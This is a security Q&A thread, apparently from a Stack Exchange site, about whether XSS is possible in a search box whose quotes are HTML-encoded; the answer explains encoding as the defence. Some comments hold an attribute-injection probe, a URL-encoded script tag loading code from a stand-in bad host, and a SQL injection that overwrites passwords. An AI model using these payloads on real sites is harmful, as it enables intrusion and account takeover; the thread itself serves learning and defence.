In a search box (<input value=" *insert search term here* "...>), when I input " onmouseover="alert(1), the double quotes are converted to their entities, so it's not possible to break out of them. Is there any possible way to inject JavaScript in this case?

  • Very, very old browsers might be vulnerable if you include a newline in the search term, and it is not encoded. But I doubt you will find many users to exploit that way.
    – Anders
    Commented May 26, 2016 at 8:31
  • Cross-Site Scripting Excerpt from an arbitrary web page - getdata.php: echo $HTTP_GET_VARS[data]; URL-Encoded attack: target/getdata.php?data=%3cscript%20src=%22http%3a%2f%2f www.badplace.com%2fnasty.js%22%3e%3c%2fscript%3e HTML execution: <script src=badplace.com/nasty.js></script>
    – drtechno
    Commented Nov 13, 2019 at 14:44
  • SQL Injection Original database query in the example file - login.asp: SQLQuery = SELECT preferences FROM logintable WHERE userid= & Request.QueryString(userid) & AND password= & Request.QueryString(password) & ; URL-encoded attack: target/… %3d%270wn3d%27%3b--%00 Executed database query: SELECT preferences FROM logintable WHERE userid=bob; update logintable set password=0wn3d;
    – drtechno
    Commented Nov 13, 2019 at 14:46
  • Sine the transmission is xml based url encoded xml hacks come into play... Even XML queries can be formed to reveal tree info. If the html object is in the database, the credentials might show up in the xquery array as its holds its access state persistently ....
    – drtechno
    Commented Nov 13, 2019 at 14:50

1 Answer 1



If the user input is properly encoded (HTML encoding in this context), XSS is not possible as user input will never be treated as JS code. Proper HTML encoding (conversion of input into their HTML entities) is the preferred way of preventing XSS when any user input is inserted/reflected back within HTML code.

Your example seems to be a case of DOM based XSS (where user input is never sent to the server and is inserted into the DOM directly). If this is the case, the conversion into HTML entities (HTML encoding) is being done on the client (browser) it self.

Chances are, this input is reflected back somewhere else in the response (case of Reflected XSS). Some examples where XSS can be performed in your scenario:

  • As value to another HTML attribute (HTML context) where this input is not HTML encoded.
  • As value to an event handler or declared as a JS variable within the inline script tags and given the data is not properly encoded here.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .